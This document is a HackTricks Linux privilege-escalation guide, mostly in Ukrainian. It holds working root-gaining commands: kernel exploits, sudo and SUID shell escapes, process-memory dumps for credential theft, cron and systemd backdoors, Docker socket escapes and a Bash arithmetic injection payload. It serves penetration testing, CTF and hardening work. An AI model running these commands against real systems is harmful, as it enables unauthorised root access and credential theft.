hacktricks/src/linux-hardening/privilege-escalation/README.md

Linux Privilege Escalation

{{#include ../../banners/hacktricks-training.md}}

Інформація про систему

Інформація про ОС

Почнемо зі збору інформації про запущену ОС

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Path

Якщо ви маєте права на запис у будь-яку папку всередині змінної PATH, ви можете перехопити деякі бібліотеки або бінарні файли:

echo $PATH

Інформація про Env

Чи містять змінні середовища цікаву інформацію, паролі або API keys?

(env || set) 2>/dev/null

Kernel exploits

Перевірте kernel version і чи існує exploit, який можна використати для escalate privileges

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Ви можете знайти хороший список вразливих ядер і деякі вже compiled exploits тут: https://github.com/lucyoa/kernel-exploits та exploitdb sploits.
Інші сайти, де ви можете знайти деякі compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Щоб витягти всі вразливі версії ядра з того сайту, ви можете зробити:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Інструменти, які можуть допомогти у пошуку kernel exploits:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (execute IN victim, перевіряє лише exploits для kernel 2.x)

Завжди пошукайте версію kernel в Google, можливо ваша версія kernel вказана в якомусь kernel exploit і тоді ви будете впевнені, що цей exploit дійсний.

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo версія

На основі вразливих версій sudo, які наведені в:

searchsploit sudo

Ви можете перевірити, чи вразлива версія sudo, використовуючи цей grep.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.8.28

Від @sickrov

sudo -u#-1 /bin/bash

Dmesg signature verification failed

Перевірте smasher2 box of HTB для прикладу того, як цю vuln можна експлуатувати

dmesg 2>/dev/null | grep "signature"

Додаткове system enumeration

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Перелічити можливі засоби захисту

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

Якщо ви перебуваєте всередині docker container, ви можете спробувати escape з нього:

{{#ref}} docker-security/ {{#endref}}

Drives

Перевірте what is mounted and unmounted, де і чому. Якщо щось unmounted, ви можете спробувати mount його і перевірити на конфіденційну інформацію

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Корисне програмне забезпечення

Перелічити корисні бінарні файли

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Також перевірте, чи встановлено будь-який компілятор. Це корисно, якщо вам потрібно використовувати якийсь kernel exploit, оскільки рекомендовано скомпілювати його на машині, де ви збираєтеся його використовувати (або на подібній).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Встановлене уразливе програмне забезпечення

Перевірте версію встановлених пакетів і сервісів. Можливо, є якась стара версія Nagios (наприклад), яку можна експлуатувати для escalating privileges…\
Рекомендується вручну перевірити версію більш підозрілого встановленого програмного забезпечення.

dpkg -l #Debian
rpm -qa #Centos

Якщо у вас є доступ по SSH до машини, ви також можете використовувати openVAS для перевірки застарілого та вразливого програмного забезпечення, встановленого на машині.

[!NOTE] > Зверніть увагу, що ці команди виведуть багато інформації, яка переважно буде марною, тому рекомендовано використовувати програми на кшталт OpenVAS або подібні, які перевіряють, чи є встановлені версії ПЗ вразливими до відомих exploits

Процеси

Погляньте, які процеси виконуються, і перевірте, чи якийсь процес не має більше привілеїв, ніж повинен (наприклад, tomcat виконується під root?)

ps aux
ps -ef
top -n 1

Always check for possible electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas виявляє їх, перевіряючи параметр --inspect у командному рядку процесу.
Також перевірте свої привілеї над бінарними файлами процесів, можливо, ви зможете перезаписати чужі.

Моніторинг процесів

Ви можете використовувати інструменти на кшталт pspy для моніторингу процесів. Це може бути дуже корисно для виявлення вразливих процесів, які виконуються часто або коли виконано певні умови.

Пам'ять процесу

Деякі служби на сервері зберігають credentials у відкритому тексті в пам'яті.
Зазвичай вам знадобляться root privileges для читання пам'яті процесів, які належать іншим користувачам, тому це зазвичай корисніше, коли ви вже root і хочете знайти більше credentials.
Проте пам'ятайте, що як звичайний користувач ви можете читати пам'ять процесів, які належать вам.

Warning

Зверніть увагу, що сьогодні більшість машин не дозволяють ptrace за замовчуванням, що означає, що ви не можете дампити інші процеси, які належать вашому непривілейованому користувачу.

Файл /proc/sys/kernel/yama/ptrace_scope контролює доступність ptrace:

• kernel.yama.ptrace_scope = 0: усі процеси можуть бути відлагоджені, за умови що вони мають однаковий uid. Це класичний спосіб роботи ptrace.
• kernel.yama.ptrace_scope = 1: відлагоджений може бути лише батьківський процес.
• kernel.yama.ptrace_scope = 2: лише адміністратор може використовувати ptrace, оскільки це потребує можливості CAP_SYS_PTRACE.
• kernel.yama.ptrace_scope = 3: жодні процеси не можуть відстежуватися за допомогою ptrace. Після встановлення цього значення потрібне перезавантаження, щоб знову дозволити ptrace.

GDB

Якщо у вас є доступ до пам'яті FTP-служби (наприклад), ви можете витягти Heap і шукати в ньому credentials.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB скрипт

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Для заданого ідентифікатора процесу maps показують, як пам'ять відображається в межах віртуального адресного простору цього процесу; вони також показують права доступу кожного відображеного регіону. Псевдо-файл mem надає доступ до самої пам'яті процесу. З файлу maps ми знаємо, які області пам'яті доступні для читання і їхні зміщення. Ми використовуємо цю інформацію, щоб перейти у файл mem і зробити дамп усіх доступних для читання областей у файл.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem надає доступ до системної фізичної пам'яті, а не до віртуальної пам'яті. Віртуальний адресний простір ядра можна отримати за допомогою /dev/kmem.
Зазвичай, /dev/mem доступний для читання лише для root та групи kmem.

strings /dev/mem -n10 | grep -i PASS

ProcDump for linux

ProcDump — це реалізація для Linux класичного інструменту ProcDump із набору інструментів Sysinternals для Windows. Завантажити можна за https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Інструменти

Щоб dump a process memory ви можете використати:

• https://github.com/Sysinternals/ProcDump-for-Linux
• https://github.com/hajzer/bash-memory-dump (root) - _Ви можете вручну видалити root requirements і dump the process, який належить вам
• Script A.5 from https://www.delaat.net/rp/2016-2017/p97/report.pdf (root is required)

Облікові дані з Process Memory

Ручний приклад

Якщо ви виявите, що authenticator process працює:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Ви можете зробити dump процесу (див. попередні розділи, щоб знайти різні способи dump the memory of a process) і шукати credentials всередині memory:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

The tool https://github.com/huntergregal/mimipenguin викрадає облікові дані у відкритому тексті з пам'яті та з деяких відомих файлів. Для коректної роботи потрібні привілеї root.

Функція	Назва процесу
GDM password (Kali Desktop, Debian Desktop)	gdm-password
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)	gnome-keyring-daemon
LightDM (Ubuntu Desktop)	lightdm
VSFTPd (Active FTP Connections)	vsftpd
Apache2 (Active HTTP Basic Auth Sessions)	apache2
OpenSSH (Active SSH Sessions - Sudo Usage)	sshd:

Search Regexes/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Заплановані/Cron jobs

Crontab UI (alseambusher) запущений як root – веб‑інтерфейсний планувальник privesc

Якщо веб‑панель “Crontab UI” (alseambusher/crontab-ui) запущена від імені root і прив'язана лише до loopback, її все одно можна досягти через SSH local port-forwarding і створити привілейоване завдання для escalate.

Типовий ланцюжок

• Виявити loopback-only порт (наприклад, 127.0.0.1:8000) та Basic-Auth realm через ss -ntlp / curl -v localhost:8000
• Знайти облікові дані в операційних артефактах:
  • Резервні копії/скрипти з zip -P <password>
  • systemd unit, який містить Environment="BASIC_AUTH_USER=...", Environment="BASIC_AUTH_PWD=..."
• Тунелювання та вхід:

ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate

• Створити завдання з високими привілеями і запустити негайно (drops SUID shell):

# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell

• Використовуйте це:

/tmp/rootshell -p   # root shell

Посилення безпеки

• Не запускайте Crontab UI від root; обмежте виконання окремим користувачем з мінімальними правами
• Прив’язуйте до localhost і додатково обмежуйте доступ через firewall/VPN; не використовуйте повторно паролі
• Уникайте вбудовування секретів у unit files; використовуйте secret stores або root-only EnvironmentFile
• Увімкніть audit/logging для on-demand job executions

Перевірте, чи вразлива яка-небудь scheduled job. Можливо, ви зможете скористатися скриптом, що виконується від root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Cron шлях

Наприклад, всередині /etc/crontab ви можете знайти PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Зверніть увагу, що користувач "user" має права на запис у /home/user)

Якщо в цьому crontab root намагається виконати команду або скрипт, не встановивши PATH. Наприклад: * * * * root overwrite.sh
Тоді ви можете отримати root shell, використовуючи:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron, що використовує скрипт зі wildcard (Wildcard Injection)

Якщо скрипт, що виконується від імені root, містить “*” всередині команди, це можна використати, щоб зробити непередбачувані речі (наприклад privesc). Приклад:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Якщо wildcard передує шляху, наприклад /some/path/* , він не вразливий (навіть ./* не вразливий).

Read the following page for more wildcard exploitation tricks:

{{#ref}} wildcards-spare-tricks.md {{#endref}}

Bash arithmetic expansion injection in cron log parsers

Bash виконує parameter expansion і command substitution перед arithmetic evaluation у ((...)), $((...)) та let. Якщо root cron/parser читає ненадійні поля логів і підставляє їх в arithmetic context, атакуючий може інжектити command substitution $(...) який виконається як root при запуску cron.

• Why it works: У Bash expansions відбуваються в такому порядку: parameter/variable expansion, command substitution, arithmetic expansion, потім word splitting та pathname expansion. Тому значення типу $(/bin/bash -c 'id > /tmp/pwn')0 спочатку підставиться (команда виконається), а потім залишкове числове 0 буде використане для арифметики, тож скрипт продовжить працювати без помилок.

• Типовий вразливий шаблон:

#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count ))     # or: let "n=$count"
done < /var/www/app/log/application.log

• Експлуатація: Домогтися запису тексту під контролем атакуючого у парсований лог так, щоб поле, що виглядає як число, містило command substitution і закінчувалося цифрою. Переконайтесь, що ваша команда не пише в stdout (або перенаправте її), щоб арифметика залишалася валідною.

# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.

Cron script overwriting and symlink

Якщо ви можете змінити cron script, що виконується від імені root, ви можете дуже легко отримати shell:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Якщо скрипт, виконуваний від імені root, використовує directory where you have full access, можливо буде корисно видалити цю папку й create a symlink folder to another one, яка вказуватиме на інший каталог із скриптом, контрольованим вами.

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Часті cron jobs

Ви можете відстежувати процеси, щоб знайти ті, що виконуються кожні 1, 2 або 5 хвилин. Можливо, ви зможете скористатися цим і escalate privileges.

Наприклад, щоб моніторити кожні 0.1s протягом 1 хвилини, сортувати за командами, що виконуються рідше та видалити команди, які були виконані найчастіше, ви можете зробити:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Ви також можете використати pspy (воно буде відслідковувати та перераховувати кожен процес, що запускається).

Невидимі cron jobs

Можна створити cronjob, додавши carriage return після коментаря (без символу нового рядка), і cron job працюватиме. Приклад (зверніть увагу на символ carriage return):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Сервіси

Доступні для запису .service файли

Перевірте, чи можете записати будь-який .service файл, якщо так, ви можете змінити його так, щоб він запускав ваш backdoor коли сервіс запущено, перезапущено або зупинено (можливо, доведеться почекати до перезавантаження машини).
Наприклад, створіть ваш backdoor всередині .service файлу з ExecStart=/tmp/script.sh

Бінарні файли сервісів, доступні для запису

Майте на увазі, що якщо у вас є права запису на бінарні файли, які виконуються сервісами, ви можете змінити їх для backdoors, тож коли сервіси будуть повторно запущені, backdoors будуть виконані.

systemd PATH - Відносні шляхи

Ви можете побачити PATH, який використовує systemd, за допомогою:

systemctl show-environment

Якщо ви знайдете, що можете write в будь-якій із папок цього шляху, ви, можливо, зможете escalate privileges. Вам потрібно шукати relative paths being used on service configurations files, такі як:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Потім створіть виконуваний файл з тим самим ім’ям, що й бінарний файл за відносним шляхом у папці PATH systemd, до якої ви маєте право запису, і коли службі буде наказано виконати вразливу дію (Start, Stop, Reload), ваш бекдор буде виконано (непривілейовані користувачі зазвичай не можуть запускати/зупиняти служби, але перевірте, чи можете використати sudo -l).

Learn more about services with man systemd.service.

Таймери

Таймери — це unit-файли systemd, чиї імена закінчуються на **.timer**, які контролюють **.service** файли або події. Таймери можуть використовуватися як альтернатива cron, оскільки вони мають вбудовану підтримку календарних подій і монотонних часових подій та можуть виконуватися асинхронно.

Ви можете перерахувати всі таймери за допомогою:

systemctl list-timers --all

Таймери, доступні для запису

Якщо ви можете змінити таймер, ви можете змусити його виконати існуючі одиниці systemd.unit (наприклад, .service або .target)

Unit=backdoor.service

У документації можна прочитати, що таке Unit:

The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (Див. вище.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix.

Тому, щоб зловживати цією привілеєю, вам потрібно:

• Знайти якийсь systemd unit (наприклад .service), який виконує бінарний файл, доступний для запису
• Знайти якийсь systemd unit, який запускає виконуваний файл за відносним шляхом і над яким ви маєте права запису у systemd PATH (щоб підмінити цей виконуваний файл)

Дізнайтеся більше про timers за допомогою man systemd.timer.

Увімкнення таймера

Щоб увімкнути таймер, потрібні права root — виконайте:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Note the timer is activated by creating a symlink to it on /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

Unix Domain Sockets (UDS) enable process communication on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through .socket files.

Sockets can be configured using .socket files.

Learn more about sockets with man systemd.socket. Inside this file, several interesting parameters can be configured:

• ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: These options are different but a summary is used to indicate where it is going to listen to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.)
• Accept: Takes a boolean argument. If true, a service instance is spawned for each incoming connection and only the connection socket is passed to it. If false, all listening sockets themselves are passed to the started service unit, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. Defaults to false. For performance reasons, it is recommended to write new daemons only in a way that is suitable for Accept=no.
• ExecStartPre, ExecStartPost: Takes one or more command lines, which are executed before or after the listening sockets/FIFOs are created and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process.
• ExecStopPre, ExecStopPost: Additional commands that are executed before or after the listening sockets/FIFOs are closed and removed, respectively.
• Service: Specifies the service unit name to activate on incoming traffic. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option.

Writable .socket files

If you find a writable .socket file you can add at the beginning of the [Socket] section something like: ExecStartPre=/home/kali/sys/backdoor and the backdoor will be executed before the socket is created. Therefore, you will probably need to wait until the machine is rebooted.
Note that the system must be using that socket file configuration or the backdoor won't be executed

Writable sockets

If you identify any writable socket (now we are talking about Unix Sockets and not about the config .socket files), then you can communicate with that socket and maybe exploit a vulnerability.

Enumerate Unix Sockets

netstat -a -p --unix

Сире з'єднання

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Приклад експлуатації:

{{#ref}} socket-command-injection.md {{#endref}}

HTTP sockets

Зверніть увагу, що можуть бути деякі sockets listening for HTTP requests (I'm not talking about .socket files but the files acting as unix sockets). Ви можете перевірити це за допомогою:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

If the socket відповідає на HTTP запит, то ви можете спілкуватися з ним і, можливо, exploit якусь vulnerability.

Доступний для запису Docker socket

The Docker socket, often found at /var/run/docker.sock, is a critical file that should be secured. By default, it's writable by the root user and members of the docker group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available.

Privilege Escalation з Docker CLI

Якщо у вас є доступ на запис до Docker socket, ви можете escalate privileges, використовуючи наступні команди:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Ці команди дозволяють запустити контейнер з правами root до файлової системи хоста.

Using Docker API Directly

У випадках, коли Docker CLI недоступний, Docker socket все ще можна маніпулювати за допомогою Docker API та curl команд.

1. List Docker Images: Отримати список доступних образів.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json

2. Create a Container: Надіслати запит на створення контейнера, який примонтовує кореневий каталог системи хоста.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Start the newly created container:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start

3. Attach to the Container: Використайте socat для встановлення з'єднання з контейнером, що дозволяє виконувати команди всередині нього.

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Після встановлення socat-з'єднання ви можете виконувати команди безпосередньо в контейнері з правами root до файлової системи хоста.

Others

Зауважте, що якщо у вас є права на запис у docker socket через те, що ви в групі docker, у вас є більше способів підвищити привілеї. Якщо docker API слухає порт, ви також можете його скомпрометувати.

Перегляньте більше способів вийти з docker або зловживати ним для підвищення привілеїв у:

{{#ref}} docker-security/ {{#endref}}

Containerd (ctr) privilege escalation

Якщо ви виявите, що можете використовувати команду ctr, прочитайте наступну сторінку, оскільки ви можете зловживати нею для підвищення привілеїв:

{{#ref}} containerd-ctr-privilege-escalation.md {{#endref}}

RunC privilege escalation

Якщо ви виявите, що можете використовувати команду runc, прочитайте наступну сторінку, оскільки ви можете зловживати нею для підвищення привілеїв:

{{#ref}} runc-privilege-escalation.md {{#endref}}

D-Bus

D-Bus — це розвинена система міжпроцесної взаємодії (inter-Process Communication, IPC), яка дозволяє додаткам ефективно взаємодіяти та обмінюватись даними. Розроблена з урахуванням сучасних Linux-систем, вона пропонує надійну основу для різних форм комунікації між додатками.

Система є універсальною, підтримуючи базовий IPC, що покращує обмін даними між процесами, нагадуючи розширені UNIX domain sockets. Крім того, вона допомагає транслювати події чи сигнали, сприяючи безшовній інтеграції між компонентами системи. Наприклад, сигнал від Bluetooth daemon про вхідний виклик може змусити плеєр вимкнути звук, покращуючи досвід користувача. D-Bus також підтримує систему віддалених об'єктів, спрощуючи запити сервісів і виклики методів між додатками, оптимізуючи процеси, які раніше були складними.

D-Bus працює за моделлю allow/deny, керуючи дозволами на повідомлення (виклики методів, емісія сигналів тощо) на основі кумулятивного ефекту правил політики. Ці політики визначають взаємодії з шиною, потенційно дозволяючи підвищення привілеїв через експлуатацію цих дозволів.

Приклад такої політики в /etc/dbus-1/system.d/wpa_supplicant.conf наведено нижче; він деталізує дозволи для користувача root на володіння, надсилання та отримання повідомлень від fi.w1.wpa_supplicant1.

Політики без вказаного користувача або групи застосовуються універсально, тоді як політики в контексті "default" застосовуються до всіх, кого не покривають інші специфічні політики.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Дізнайтеся, як enumerate та exploit D-Bus communication тут:

{{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md {{#endref}}

Мережа

Завжди цікаво enumerate the network і з'ясувати розташування машини.

Generic enumeration

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Відкриті порти

Завжди перевіряйте мережеві сервіси, які працюють на машині та з якими ви не могли взаємодіяти до отримання доступу до неї:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Перевірте, чи можете перехоплювати трафік. Якщо так, ви зможете отримати деякі облікові дані.

timeout 1 tcpdump

Users

Generic Enumeration

Перевірте, who ви є, які privileges у вас є, які users є в системах, хто може login і хто має root privileges:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Big UID

Деякі версії Linux постраждали від бага, який дозволяє користувачам з UID > INT_MAX підвищувати привілеї. Більше інформації: here, here and here.
Експлуатувати за допомогою: systemd-run -t /bin/bash

Groups

Перевірте, чи ви є членом якоїсь групи, що може надати вам root-привілеї:

{{#ref}} interesting-groups-linux-pe/ {{#endref}}

Clipboard

Перевірте, чи є в буфері обміну щось цікаве (якщо можливо)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Політика паролів

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Відомі паролі

Якщо ви знаєте будь-який пароль середовища, спробуйте увійти як кожен користувач, використовуючи цей пароль.

Su Brute

Якщо вам не важливо створювати багато шуму і бінарні файли su та timeout присутні на комп'ютері, ви можете спробувати brute-force користувача за допомогою su-bruteforce.
Linpeas з параметром -a також намагається виконувати brute-force для користувачів.

Зловживання записуваним $PATH

$PATH

Якщо ви виявите, що можете записувати в якусь папку з $PATH, ви можете підвищити привілеї, створивши backdoor у доступній для запису папці під назвою якоїсь команди, яка буде виконана іншим користувачем (root бажано) і яка не завантажується з папки, що знаходиться перед вашою доступною для запису папкою в $PATH.

SUDO and SUID

Вам може бути дозволено виконувати деякі команди через sudo або вони можуть мати suid bit. Перевірте це за допомогою:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Деякі неочікувані команди дозволяють вам читати і/або записувати файли або навіть виконувати команду. Наприклад:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

Конфігурація Sudo може дозволити користувачеві виконувати певну команду з правами іншого користувача без знання пароля.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

У цьому прикладі користувач demo може запускати vim як root; тепер тривіально отримати shell, додавши ssh key у root directory або викликавши sh.

sudo vim -c '!sh'

SETENV

Ця директива дозволяє користувачеві встановити змінну середовища під час виконання чогось:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Цей приклад, based on HTB machine Admirer, був vulnerable до PYTHONPATH hijacking, що дозволяло завантажити довільну python бібліотеку під час виконання скрипту від імені root:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

BASH_ENV збережено через sudo env_keep → root shell

